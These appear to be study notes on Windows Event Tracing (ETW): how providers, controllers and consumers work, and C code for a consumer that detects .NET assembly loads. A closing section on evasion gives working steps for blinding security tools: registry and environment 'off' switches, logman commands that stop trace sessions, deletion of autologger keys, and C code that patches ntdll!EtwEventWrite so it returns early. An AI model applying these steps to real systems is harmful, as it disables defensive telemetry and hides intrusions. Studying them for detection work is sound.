Event Tracing For Windows

Chapter 8

  • Using the Event Tracing for Windows (ETW) logging facility, developers can program their applications to emit events, consume events from other components, and control event-tracing sessions. ETW provides valuable telemetry to an endpoint agent.

Architecture

  • There are three main components involved in ETW: providers, consumers, and controllers. Each of these components serves a distinct purpose in an event-tracing session.

Providers

  • Providers are the software components that emit events. These might include parts of the system, such as the Task Scheduler, a third-party application, or even the kernel itself. Generally, the provider isn’t a separate application or image but rather the primary image associated with the component.

  • A developer can opt to have it emit an event related to its execution. For example, if the application handles user authentication, it might emit an event whenever authentication fails. These events contain any data the developer deems necessary to debug or monitor the application, ranging from a simple string to complex structures.

  • ETW providers have GUIDs that other software can use to identify them. In addition, providers have more user-friendly names, most often defined in their manifest, that allow humans to identify them.

Some relevant security ETW providers
  • ETW providers are securable objects, meaning a security descriptor can be applied to them. A security descriptor provides a way for Windows to restrict access to the object through a discretionary access control list or log access attempts via a system access control list.

PS > $SDs = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Security
PS > $sddl = ([wmiclass]"Win32_SecurityDescriptorHelper").
>> BinarySDToSDDL($SDs.'0063715b-eeda-4007-9429-ad526f62696e').
>> SDDL
PS > ConvertFrom-SddlString -Sddl $sddl

Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {NT AUTHORITY\SYSTEM: AccessAllowed,
                    NT AUTHORITY\LOCAL SERVICE: AccessAllowed,
                    BUILTIN\Administrators: AccessAllowed}
SystemAcl : {}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
  • Currently, four main technologies allow developers to emit events from their provider applications:

    1. Managed Object Format (MOF) - MOF is the language used to define events so that consumers know how to ingest and process them. To register and write events using MOF, providers use the sechost!RegisterTraceGuids() and advapi!TraceEvent() functions, respectively.

    2. Windows Software Trace Preprocessor (WPP) - WPP supports more complex data types than MOF, including timestamps and GUIDs, and acts as a supplement to MOF-based providers. WPP providers use the sechost!RegisterTraceGuids() and advapi!TraceEvent() functions to register and write events. WPP providers can also use the WPP_INIT_TRACING macro to register the provider GUID.

    3. Manifests - Manifests are XML files containing the elements that define the provider, including details about the format of events and the provider itself. These manifests are embedded in the provider binary at compilation time and registered with the system. Providers rely on the advapi!EventRegister() function to register events and advapi!EventWrite() to write them.

    4. TraceLogging - TraceLogging is the newest technology for providing events. Unlike the other technologies, TraceLogging allows for self-describing events, meaning that no class or manifest needs to be registered with the system for the consumer to know how to process them. The consumer uses the Trace Data Helper (TDH) APIs to decode and work with events. These providers use advapi!TraceLogging Register() and advapi!TraceLoggingWrite() to register and write events.

  • The event sources can be located using the FindETWProviderImage tool. The tool's workflow:

    1. The provider’s PE file must reference its GUID, most commonly in the .rdata section, which holds read-only initialized data.

    2. The provider must be an executable code file, typically a .exe, .dll, or .sys.

    3. The provider must call a registration API (specifically, advapi!Event Register() or ntdll!EtwEventRegister() for user-mode applications and ntoskrnl!EtwRegister() for kernel-mode components).

    4. If using a manifest registered with the system, the provider image will be in ResourceFileName value in the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\ Publishers<PROVIDER_GUID>. This file will contain a WEVT_TEMPLATE resource, which is the binary representation of the manifest.

  • To confirm the identity of the provider, you must investigate an image further. You can do this using a relatively simple methodology. In a disassembler, navigate to the offset or relative virtual address reported by FindETWProviderImage and look for any references to the GUID coming from a function that calls a registration API. You should see the address of the GUID being passed to the registration function in the RCX register.

schedsvc!JobsService::Initialize+0xcc:
00007ffe`74096f5c 488935950a0800 mov qword ptr [schedsvc!g_pEventManager],rsi
00007ffe`74096f63 4c8bce         mov r9,rsi
00007ffe`74096f66 4533c0         xor r8d,r8d
00007ffe`74096f69 33d2           xor edx,edx
00007ffe`74096f6b 488d0d06680400 lea rcx,[schedsvc!TASKSCHED]
00007ffe`74096f72 48ff150f570400 call qword ptr [schedsvc!_imp_EtwEventRegister
00007ffe`74096f79 0f1f440000     nop dword ptr [rax+rax]
00007ffe`74096f7e 8bf8           mov edi,eax
00007ffe`74096f80 48391e         cmp qword ptr [rsi],rbx
00007ffe`74096f83 0f84293f0100   je schedsvc!JobsService::Initialize+0x14022

Controllers

  • Controllers are the components that define and control trace sessions, which record events written by providers and flush them to the event consumers. The controller’s job includes starting and stopping sessions, enabling or disabling providers associated with a session, and managing the size of the event buffer pool, among other things.

  • A single application might contain both controller and consumer code; alternatively, the controller can be a separate application entirely, as in the case of Xperf and logman, two utilities that facilitate collecting and processing ETW events.

  • Controllers create trace sessions using the sechost!StartTrace() API and configure them using sechost!ControlTrace() and advapi!EnableTraceEx() or sechost!EnableTraceEx2(). On Windows XP and later, controllers can start and manage a maximum of 64 simultaneous trace sessions.

PS > logman.exe query -ets
Data Collector Set     Type     Status
-------------------------------------------------------------
AppModel               Trace     Running
BioEnrollment          Trace     Running
Diagtrack-Listener     Trace     Running
FaceCredProv           Trace     Running
FaceTel                Trace     Running
LwtNetLog              Trace     Running
Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace Trace Running
NetCore                Trace     Running
NtfsLog                Trace     Running
RadioMgr               Trace     Running
WiFiDriverIHVSession   Trace     Running
WiFiSession            Trace     Running
  • Each name under the Data Collector Set column represents a unique controller with its own subordinate trace sessions. The controllers shown above are built into Windows, as the operating system also makes heavy use of ETW for activity monitoring.

  • Controllers can also query existing traces to get information. It can be queried using logman - > logman.exe query EventLog-System -ets

Consumers

  • Consumers are the software components that receive events after they’ve been recorded by a trace session. They can either read events from a logfile on disk or consume them in real time.

  • Consumers use sechost!OpenTrace() to connect to the real-time session and sechost!ProcessTrace() to start consuming events from it. Each time the consumer receives a new event, an internally defined callback function parses the event data based on information supplied by the provider, such as the event manifest.

  • The consumer can then choose to do whatever it likes with the information. In the case of endpoint security software, this may mean creating an alert, taking some preventive actions, or correlating the activity with telemetry collected by another sensor.

Creating a Consumer to Identify Malicious .NET Assemblies

Creating A Trace Session

  • To begin consuming events, a trace session must first be created using the sechost!StartTrace() API. This function takes a pointer to an EVENT_TRACE_PROPERTIES structure (or EVENT_TRACE_ PROPERTIES_V2 in case of windows versions later than 1703). This structure describes the trace session.

typedef struct _EVENT_TRACE_PROPERTIES {
  WNODE_HEADER Wnode;
  ULONG        BufferSize;
  ULONG        MinimumBuffers;
  ULONG        MaximumBuffers;
  ULONG        MaximumFileSize;
  ULONG        LogFileMode;
  ULONG        FlushTimer;
  ULONG        EnableFlags;
  union {
    LONG AgeLimit;
    LONG FlushThreshold;
  } DUMMYUNIONNAME;
  ULONG        NumberOfBuffers;
  ULONG        FreeBuffers;
  ULONG        EventsLost;
  ULONG        BuffersWritten;
  ULONG        LogBuffersLost;
  ULONG        RealTimeBuffersLost;
  HANDLE       LoggerThreadId;
  ULONG        LogFileNameOffset;
  ULONG        LoggerNameOffset;
} EVENT_TRACE_PROPERTIES, *PEVENT_TRACE_PROPERTIES;
  • The consumer will populate it and pass it to a function that starts the trace session as shown below:

static const GUID g_sessionGuid =
{ 0xb09ce00c, 0xbcd9, 0x49eb,{ 0xae, 0xce, 0x42, 0x45, 0x1, 0x2f, 0x97, 0xa9 }};
static const WCHAR g_sessionName[] = L"DotNETEventConsumer";

int main()
{
    ULONG ulBufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(g_sessionName);
    PEVENT_TRACE_PROPERTIES pTraceProperties = 
        (PEVENT_TRACE_PROPERTIES)malloc(ulBufferSize);

    if (!pTraceProperties)
    {
         return ERROR_OUTOFMEMORY;
    }
    ZeroMemory(pTraceProperties, ulBufferSize);

    pTraceProperties->Wnode.BufferSize = ulBufferSize;
    pTraceProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    pTraceProperties->Wnode.ClientContext = 1;
    pTraceProperties->Wnode.Guid = g_sessionGuid;
    pTraceProperties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
    pTraceProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    
    wcscpy_s((PWCHAR)(pTraceProperties + 1),
           wcslen(g_sessionName) + 1,
           g_sessionName);

     DWORD dwStatus = 0;
     TRACEHANDLE hTrace = NULL;

     while (TRUE) {
           dwStatus = StartTraceW(
                &hTrace,
                g_sessionName,
                pTraceProperties);
 
           if (dwStatus == ERROR_ALREADY_EXISTS)
           {
                dwStatus = ControlTraceW(
                     hTrace,
                     g_sessionName,
                     pTraceProperties,
                     EVENT_TRACE_CONTROL_STOP);
           }

          if (dwStatus != ERROR_SUCCESS)
          {
                return dwStatus;
          }
     }
          
          --snip--
}
  • We populate the WNODE_HEADER structure pointed to in the trace properties. Note that the Guid member contains the GUID of the trace session, not of the desired provider. Additionally, the LogFileMode member of the trace properties structure is usually set to EVENT_TRACE_REAL_ TIME_MODE to enable real-time event tracing.

Enabling Providers

  • To add providers, we use the sechost!EnableTraceEx2() API. This function takes the TRACEHANDLE returned earlier as a parameter. This API can add any number of providers to a trace session, each with its own filtering configurations.

ULONG WMIAPI EnableTraceEx2(
  [in]           TRACEHANDLE              TraceHandle,
  [in]           LPCGUID                  ProviderId,
  [in]           ULONG                    ControlCode,
  [in]           UCHAR                    Level,
  [in]           ULONGLONG                MatchAnyKeyword,
  [in]           ULONGLONG                MatchAllKeyword,
  [in]           ULONG                    Timeout,
  [in, optional] PENABLE_TRACE_PARAMETERS EnableParameters
);
  • The ProviderId parameter is the target provider’s GUID, and the Level parameter determines the severity of the events passed to the consumer. It can range from TRACE_LEVEL_VERBOSE (5) to TRACE_LEVEL_CRITICAL (1). The consumer will receive any events whose level is less than or equal to the specified value.

  • ControlCode parameter can take one of the below three codes:

    1. EVENT_CONTROL_CODE_DISABLE_PROVIDER - Update the session configuration so that the session does not receive events from the provider.

    2. EVENT_CONTROL_CODE_ENABLE_PROVIDER - Update the session configuration so that the session receives the requested events from the provider.

    3. EVENT_CONTROL_CODE_CAPTURE_STATE - Requests that the provider log its state information.

  • The MatchAllKeyword parameter is a bitmask that allows an event to be written only if the event’s keyword bits match all the bits set in this value. It is usually set to zero. The MatchAnyKeyword parameter is a bitmask that allows an event to be written only if the event’s keyword bits match any of the bits set in this value.

  • The EnableParameters parameter allows the consumer to receive one or more extended data items in each event, including but not limited to:

    • EVENT_ENABLE_PROPERTY_PROCESS_START_KEY - A sequence number that identifies the process, guaranteed to be unique to the current boot session.

    • EVENT_ENABLE_PROPERTY_SID - The security identifier of the principal, such as a user of the system, under which the event was emitted.

    • EVENT_ENABLE_PROPERTY_TS_ID - The terminal session identifier under which the event was emitted.

    • EVENT_ENABLE_PROPERTY_STACK_TRACE - Value that adds a call stack if the event was written using the advapi!EventWrite() API.

static const GUID g_providerGuid =
{ 0xe13c0d23, 0xccbc, 0x4e12,{ 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 }};

int main()
{
    --snip--
    
    dwStatus = EnableTraceEx2(
         hTrace,
         &g_providerGuid,
         EVENT_CONTROL_CODE_ENABLE_PROVIDER,
         TRACE_LEVEL_INFORMATION,
         0x2038,
         0,
         INFINITE,
         NULL);
         
    if (dwStatus != ERROR_SUCCESS)
    {
         goto Cleanup;
    }

     --snip--
}
  • We add Microsoft-Windows-DotNETRuntime provider to the trace and set MatchAnyKeyword to use the Interop (0x2000), NGen (0x20), Jit (0x10), and Loader (0x8) keywords.

Starting The Trace Session

  • We can start the trace session by calling sechost!OpenTrace() with a pointer to an EVENT_TRACE_ LOGFILE structure.

typedef struct _EVENT_TRACE_LOGFILEA {
  LPSTR                         LogFileName;
  LPSTR                         LoggerName;
  LONGLONG                      CurrentTime;
  ULONG                         BuffersRead;
  union {
    ULONG LogFileMode;
    ULONG ProcessTraceMode;
  } DUMMYUNIONNAME;
  EVENT_TRACE                   CurrentEvent;
  TRACE_LOGFILE_HEADER          LogfileHeader;
  PEVENT_TRACE_BUFFER_CALLBACKA BufferCallback;
  ULONG                         BufferSize;
  ULONG                         Filled;
  ULONG                         EventsLost;
  union {
    PEVENT_CALLBACK        EventCallback;
    PEVENT_RECORD_CALLBACK EventRecordCallback;
  } DUMMYUNIONNAME2;
  ULONG                         IsKernelTrace;
  PVOID                         Context;
} EVENT_TRACE_LOGFILEA, *PEVENT_TRACE_LOGFILEA;
int main()
{
    --snip--
    
    EVENT_TRACE_LOGFILEW etl = { 0 };
    etl.LoggerName = g_sessionName;
    etl.ProcessTraceMode = PROCESS_TRACE_MODE_EVENT_RECORD |
    PROCESS_TRACE_MODE_REAL_TIME;
    etl.EventRecordCallback = OnEvent;
    
    TRACEHANDLE hSession = NULL;
    hSession = OpenTrace(&etl);
    if (hSession == INVALID_PROCESSTRACE_HANDLE)
    {
         goto Cleanup;
    }

    --snip--
}
  • While this is a relatively large structure, only three of the members are immediately relevant to us. The LoggerName member is the name of the trace session, and ProcessTraceMode is a bitmask containing the values for PROCESS_TRACE_MODE_EVENT_RECORD (0x10000000), to indicate that events should use the EVENT_RECORD format introduced in Windows Vista, as well as PROCESS _TRACE_MODE_REAL_TIME (0x100), to indicate that events should be received in real time.

  • Lastly, EventRecordCallback is a pointer to the callback (ProcessEvents()) that ETW calls for each new event, passing it an EVENT_RECORD structure. When sechost!OpenTrace() completes, it returns a new TRACEHANDLE which is passed to sechost!ProcessTrace() to process events. This is done in a separate thread.

void ProcessEvents(PTRACEHANDLE phSession)
{
    FILETIME now;
    GetSystemTimeAsFileTime(&now);
    ProcessTrace(phSession, 1, &now, NULL);
}

int main()
{
     --snip--
     HANDLE hThread = NULL;
     hThread = CreateThread(
          NULL, 0,
          ProcessEvents,
           &hSession,
           0, NULL);
     if (!hThread)
     {
          goto Cleanup;
     }
     
     --snip--
}

Stopping The Trace Session

  • To stop the trace session, we use a global Boolean value that is flipped when required.

HANDLE g_hStop = NULL;

BOOL ConsoleCtrlHandler(DWORD dwCtrlType)
{
    if (dwCtrlType == CTRL_C_EVENT) {
        SetEvent(g_hStop);
        return TRUE;
    }
    return FALSE;
}

int main()
{
    --snip--

    g_hStop = CreateEvent(NULL, TRUE, FALSE, NULL);
    SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);
    
    WaitForSingleObject(g_hStop, INFINITE);
    
    CloseTrace(hSession);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(g_hStop);
    CloseHandle(hThread);
    return dwStatus
}

Processing Events

  • When the consumer thread receives a new event, its callback function is invoked with a pointer to an EVENT_RECORD structure.

typedef struct _EVENT_RECORD {
    EVENT_HEADER                     EventHeader;
    ETW_BUFFER_CONTEXT               BufferContext;
    USHORT                           ExtendedDataCount;
    USHORT                           UserDataLength;
    PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;
    PVOID                            UserData;
    PVOID                            UserContext;
} EVENT_RECORD, *PEVENT_RECORD;
  • EventHeader, holds basic event metadata, such as the process ID of the provider binary; a timestamp; and an EVENT_DESCRIPTOR, which describes the event itself in detail. The ExtendedData member matches the data passed in the EnableProperty parameter of sechost!EnableTraceEx2(). This field is a pointer to an EVENT_HEADER_EXTENDED_ DATA_ITEM.

typedef struct _EVENT_HEADER_EXTENDED_DATA_ITEM {
    USHORT     Reserved1;
    USHORT     ExtType;
    struct {
        USHORT Linkage : 1;
        USHORT Reserved2 : 15;
    };
    USHORT     DataSize;
    ULONGLONG  DataPtr;
} EVENT_HEADER_EXTENDED_DATA_ITEM, *PEVENT_HEADER_EXTENDED_DATA_ITEM;
  • The ExtType member contains an identifier (defined in eventcons.h) that tells the consumer to which data type the DataPtr member points.

#define EVENT_HEADER_EXT_TYPE_RELATED_ACTIVITYID 0x0001
#define EVENT_HEADER_EXT_TYPE_SID                0x0002
#define EVENT_HEADER_EXT_TYPE_TS_ID              0x0003
#define EVENT_HEADER_EXT_TYPE_INSTANCE_INFO      0x0004
#define EVENT_HEADER_EXT_TYPE_STACK_TRACE32      0x0005
#define EVENT_HEADER_EXT_TYPE_STACK_TRACE64      0x0006
#define EVENT_HEADER_EXT_TYPE_PEBS_INDEX         0x0007
#define EVENT_HEADER_EXT_TYPE_PMC_COUNTERS       0x0008
#define EVENT_HEADER_EXT_TYPE_PSM_KEY            0x0009
#define EVENT_HEADER_EXT_TYPE_EVENT_KEY          0x000A
#define EVENT_HEADER_EXT_TYPE_EVENT_SCHEMA_TL    0x000B
#define EVENT_HEADER_EXT_TYPE_PROV_TRAITS        0x000C
#define EVENT_HEADER_EXT_TYPE_PROCESS_START_KEY  0x000D
#define EVENT_HEADER_EXT_TYPE_CONTROL_GUID       0x000E
#define EVENT_HEADER_EXT_TYPE_QPC_DELTA          0x000F
#define EVENT_HEADER_EXT_TYPE_CONTAINER_ID       0x0010
#define EVENT_HEADER_EXT_TYPE_MAX                0x0011
  • This ExtendedData member of the EVENT_RECORD contains valuable data, but agents typically use it to supplement other sources, particularly the UserData member of the EVENT_RECORD.

  • To begin processing the event data, the agent calls tdh!TdhGetEventInformation().

void CALLBACK OnEvent(PEVENT_RECORD pRecord)
{
    ULONG ulSize = 0;
    DWORD dwStatus = 0;
    PBYTE pUserData = (PBYTE)pRecord->UserData;

    dwStatus = TdhGetEventInformation(pRecord, 0, NULL, NULL, &ulSize);

    PTRACE_EVENT_INFO pEventInfo = (PTRACE_EVENT_INFO)malloc(ulSize);
    if (!pEventInfo)
    {
        // Exit immediately if we're out of memory
        ExitProcess(ERROR_OUTOFMEMORY);
    }

    dwStatus = TdhGetEventInformation(
         pRecord,
         0,
         NULL,
         pEventInfo,
         &ulSize);

    if (dwStatus != ERROR_SUCCESS)
    {
         return;
    }

    --snip--
}
  • After allocating memory of the required size, we pass a pointer to TRACE_EVENT_INFO structure, as the first parameter to the function.

typedef struct _TRACE_EVENT_INFO {
  GUID                ProviderGuid;
  GUID                EventGuid;
  EVENT_DESCRIPTOR    EventDescriptor;
  DECODING_SOURCE     DecodingSource;
  ULONG               ProviderNameOffset;
  ULONG               LevelNameOffset;
  ULONG               ChannelNameOffset;
  ULONG               KeywordsNameOffset;
  ULONG               TaskNameOffset;
  ULONG               OpcodeNameOffset;
  ULONG               EventMessageOffset;
  ULONG               ProviderMessageOffset;
  ULONG               BinaryXMLOffset;
  ULONG               BinaryXMLSize;
  union {
    ULONG EventNameOffset;
    ULONG ActivityIDNameOffset;
  };
  union {
    ULONG EventAttributesOffset;
    ULONG RelatedActivityIDNameOffset;
  };
  ULONG               PropertyCount;
  ULONG               TopLevelPropertyCount;
  union {
    TEMPLATE_FLAGS Flags;
    struct {
      ULONG Reserved : 4;
      ULONG Tags : 28;
    };
  };
  EVENT_PROPERTY_INFO EventPropertyInfoArray[ANYSIZE_ARRAY];
} TRACE_EVENT_INFO;
  • When the function returns, it will populate this structure with useful metadata, such as the DecodingSource, used to identify how the event is defined. But the most important value is EventPropertyInfoArray, an array of EVENT_PROPERTY_INFO structures, that provides information about each property of the EVENT_RECORD’s UserData member.

typedef struct _EVENT_PROPERTY_INFO {
  PROPERTY_FLAGS Flags;
  ULONG          NameOffset;
  union {
    struct {
      USHORT InType;
      USHORT OutType;
      ULONG  MapNameOffset;
    } nonStructType;
    struct {
      USHORT StructStartIndex;
      USHORT NumOfStructMembers;
      ULONG  padding;
    } structType;
    struct {
      USHORT InType;
      USHORT OutType;
      ULONG  CustomSchemaOffset;
    } customSchemaType;
  };
  union {
    USHORT count;
    USHORT countPropertyIndex;
  };
  union {
    USHORT length;
    USHORT lengthPropertyIndex;
  };
  union {
    ULONG Reserved;
    struct {
      ULONG Tags : 28;
    };
  };
} EVENT_PROPERTY_INFO;
  • We must parse each structure in the array individually. First, it gets the length of the property with which it is working. This length is dependent on the way in which the event is defined. Generally, we the size of the property is derived either from length member, from the size of a known data type (such as the size of an unsigned long, or ulong), or by calling tdh!TdhGetPropertySize(). If the property itself is an array, we need to retrieve its size by either evaluating the count member or calling tdh!TdhGetPropertySize() again.

  • When the data isn’t a structure, as in the case of the MicrosoftWindows-DotNETRuntime provider, it will be a simple value mapping, and we can get this map information using tdh!TdhGetEventMapInformation(). This function takes a pointer to the TRACE_EVENT_ INFO, as well as a pointer to the map name offset, which it can access via the MapNameOffset member. On completion, it receives a pointer to an EVENT_MAP_INFO structure which defines the metadata about the event map.

typedef struct _EVENT_MAP_INFO {
  ULONG           NameOffset;
  MAP_FLAGS       Flag;
  ULONG           EntryCount;
  union {
    MAP_VALUETYPE MapEntryValueType;
    ULONG         FormatStringOffset;
  };
  EVENT_MAP_ENTRY MapEntryArray[ANYSIZE_ARRAY];
} EVENT_MAP_INFO;
  • Below code shows how a callback would use the structure.

void CALLBACK OnEvent(PEVENT_RECORD pRecord)
{
    --snip--
    
    WCHAR pszValue[512];
    USHORT wPropertyLen = 0;
    ULONG ulPointerSize =
     (pRecord->EventHeader.Flags & EVENT_HEADER_FLAG_32_BIT_HEADER) ? 4 : 8;

    USHORT wUserDataLen = pRecord->UserDataLength;

    for (USHORT i = 0; i < pEventInfo->TopLevelPropertyCount; i++)
    {
         EVENT_PROPERTY_INFO propertyInfo =
         pEventInfo->EventPropertyInfoArray[i];
         PCWSTR pszPropertyName =
             PCWSTR)((BYTE*)pEventInfo + propertyInfo.NameOffset);
 
         wPropertyLen = propertyInfo.length;

    if ((propertyInfo.Flags & PropertyStruct | PropertyParamCount)) != 0)
    {
        return;
    }
    PEVENT_MAP_INFO pMapInfo = NULL;
    PWSTR mapName = NULL;
    
    if (propertyInfo.nonStructType.MapNameOffset)
    {
        ULONG ulMapSize = 0;
        mapName = (PWSTR)((BYTE*)pEventInfo +
            propertyInfo.nonStructType.MapNameOffset);

        dwStatus = TdhGetEventMapInformation(
            pRecord,
            mapName,
            pMapInfo,
            &ulMapSize);

        if (dwStatus == ERROR_INSUFFICIENT_BUFFER)
        {
            pMapInfo = (PEVENT_MAP_INFO)malloc(ulMapSize);
                dwStatus = TdhGetEventMapInformation(
                pRecord,
                mapName,
                pMapInfo,
                &ulMapSize);

            if (dwStatus != ERROR_SUCCESS)
            {
                pMapInfo = NULL;
            }
        }
    }

    ULONG ulBufferSize = sizeof(pszValue);
    USHORT wSizeConsumed = 0;
    dwStatus = TdhFormatProperty(
         pEventInfo,
         pMapInfo,
         ulPointerSize,
         propertyInfo.nonStructType.InType,
         propertyInfo.nonStructType.OutType,
         wPropertyLen,
         wUserDataLen,
         pUserData,
         &ulBufferSize,
         pszValue,
         &wSizeConsumed);

    if (dwStatus == ERROR_SUCCESS)
    {
         --snip--
         wprintf(L"%s: %s\n", 2 pszPropertyName, pszValue);
         --snip--
    }
    
    --snip--
}
  • To parse the events that the provider emits, we iterate over every toplevel property in the event by using the total count of properties found in TopLevelPropertyCount for the trace event information structure.

  • Then, if we’re not dealing with a structure and the offset to the name of the member is present, we pass it to tdh!TdhGetEventMapInformation() to get the event map info.

  • At this point, we’ve collected all the pieces of information required to fully parse the event data. Next, we call tdh!TdhFormatProperty(), passing in the information we collected previously.

  • After the function completes, the name of the property will be stored in the NameOffset member of the event map information structure. Its value will be stored in the buffer passed into tdh!TdhFormatProperty() as the Buffer parameter.

Evading ETW-Based Detections

Configuration Modification

  • A common technique involves modifying persistent attributes of the system, including registry keys, files, and environment variables. A vast number of procedures fall into this category, but all generally aim to prevent a trace session or provider from functioning as expected, typically by abusing something like a registry-based “off” switch.

  • Two examples of “off” switches are the COMPlus_ETWEnabled environment variable and the ETWEnabled value under the HKCU:\Software\Microsoft\.NETFramework registry key. By setting either of these values to 0, an adversary can instruct clr.dll, the image for the Microsoft-Windows-DotNETRuntime provider, not to register any TRACEHANDLE, preventing the provider from emitting ETW events.

Trace-Session Tampering

  • The next technique involves interfering with trace sessions already running on the system. While this typically requires system-level privileges, an attacker who has elevated their access can interact with a trace session of which they are not the explicit owner. For example, an adversary may remove a provider from a trace session using sechost!EnableTraceEx2() or, more simply, using logman with the following syntax:

logman.exe update trace TRACE_NAME --p PROVIDER_NAME --ets
                                Or
logman.exe stop "TRACE_NAME" -ets


Trace-Session Interference

  • This technique complements the previous one: it focuses on preventing trace sessions, most commonly autologgers, from functioning as expected before they are started, resulting in persistent changes to the system.

  • One example of this technique is the manual removal of a provider from an autologger session through a modification of the registry. By deleting the subkey tied to the provider, HKLM:\SYSTEM\CurrentControlSetControl\WMI\Autologger\<AUTOLOGGER_NAME>\<PROVIDER_GUID>, or by setting its Enabled value to 0, the attacker can remove the provider from the trace session after the next reboot.

  • Attackers could also take advantage of ETW’s mechanisms to prevent sessions from working as expected. For example, only one trace session per host can enable a legacy provider (as in MOF- or TMF-based WPP). If a new session enabled this provider, the original session would no longer receive the desired events.

  • Similarly, an adversary could create a trace session with the same name as the target before the security product has a chance to start its session. When the agent attempts to start its session, it will be met with an ERROR_ALREADY_EXISTS error code.

Patching

  • Finally patching aims to either completely prevent the provider from emitting events or selectively filter the events that it sends. For example, a .NET runtime consumer can be bypassed by patching the function responsible for emitting the ETW event, ntdll!EtwEve ntWrite(), and instructing it to return immediately upon entry.

bp ntdll!EtwEventWrite "r $t0 = 0;
 .foreach (p { k }) { .if ($spat(\"p\", \"clr!*\")) { r $t0 = 1; .break } };
 .if($t0
  • The conditional logic in this command tells WinDbg to parse the call stack (k) and inspect each line of the output. If any lines begin with clr!, indicating that the call to ntdll!EtwEventWrite() originated from the common language runtime, a break is triggered. If there are no instances of this substring in the call stack, the application simply continues.

  • If we view the call stack when the substring is detected we can observe the common language runtime emitting events.

0:000> k
# RetAddr Call Site
1 00 ntdll!EtwEventWrite
01 clr!CoTemplate_xxxqzh+0xd5
02 clr!ETW::LoaderLog::SendAssemblyEvent+0x1cd
2 03 clr!ETW::LoaderLog::ModuleLoad+0x155
04 clr!DomainAssembly::DeliverSyncEvents+0x29
05 clr!DomainFile::DoIncrementalLoad+0xd9
06 clr!AppDomain::TryIncrementalLoad+0x135
07 clr!AppDomain::LoadDomainFile+0x149
08 clr!AppDomain::LoadDomainAssemblyInternal+0x23e
09 clr!AppDomain::LoadDomainAssembly+0xd9
0a clr!AssemblyNative::GetPostPolicyAssembly+0x4dd
0b clr!AssemblyNative::LoadFromBuffer+0x702
0c clr!AssemblyNative::LoadImage+0x1ef
3 0d mscorlib_ni!System.AppDomain.Load(Byte[])$##60007DB+0x3b
0e mscorlib_ni!DomainNeutralILStubClass.IL_STUB_CLRtoCOM(Byte[])
0f clr!COMToCLRDispatchHelper+0x39
10 clr!COMToCLRWorker+0x1b4
11 clr!GenericComCallStub+0x57
12 0x00000209`24af19a6
13 0x00000209`243a0020
14 0x00000209`24a7f390
15 0x000000c2`29fcf950
  • Reading from bottom to top, we can see that the event originates in System.AppDomain. Load(), the function responsible for loading an assembly into the current application domain. A chain of internal calls leads into the ETW::Loaderlog class, which ultimately calls ntdll!EtwEvent Write().

  • If we can manually set the value in the EAX register (which serves as the return value on Windows) to 0 for ERROR_SUCCESS, the function should immediately return, appearing to always complete successfully without emitting an event. This can be done by:

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>

void PatchedAssemblyLoader()
{
    PVOID pfnEtwEventWrite = NULL;
    DWORD dwOldProtection = 0;
    pfnEtwEventWrite = GetProcAddress(
        LoadLibraryW(L"ntdll"),
        "EtwEventWrite");

    if (!pfnEtwEventWrite)
    {
        return;
    }
    
    VirtualProtect(
        pfnEtwEventWrite,
        3,
        PAGE_READWRITE,
        &dwOldProtection);

    memcpy(
        pfnEtwEventWrite,
        "\x33\xc0\xc3", // xor eax, eax; ret
        3);

    VirtualProtect(
        pfnEtwEventWrite,
        3,
        dwOldProtection,
        NULL);

    --snip--
}
  • We locate the entry point to ntdll!EtwEventWrite() in the currently loaded copy of ntdll.dll using kernel32!GetProcAddress(). After locating the function, we change the memory protections of the first three bytes (the size of our patch) from read-execute (rx) to read-write (rw) to allow us to overwrite the entry point. Now all we have to do is copy in the patch using something like memcpy() and then revert the memory protections to their original state.

  • This prevents the logic for producing ETW events from ever being reached and effectively stops the provider’s telemetry from flowing to the EDR agent. Even so, this bypass has limitations. Because clr.dll and ntdll.dll are mapped into their own processes, they have the ability to tamper with the provider in a very direct manner.

  • In most cases, however, the provider is running as a separate process outside the attacker’s immediate control. Patching the event-emission function in the mapped ntdll.dll won’t prevent the emission of events in another process.

Evasion of ETW is well researched, with most strategies focusing on disabling, unregistering, or otherwise rendering a provider or consumer unable to handle events.

Last updated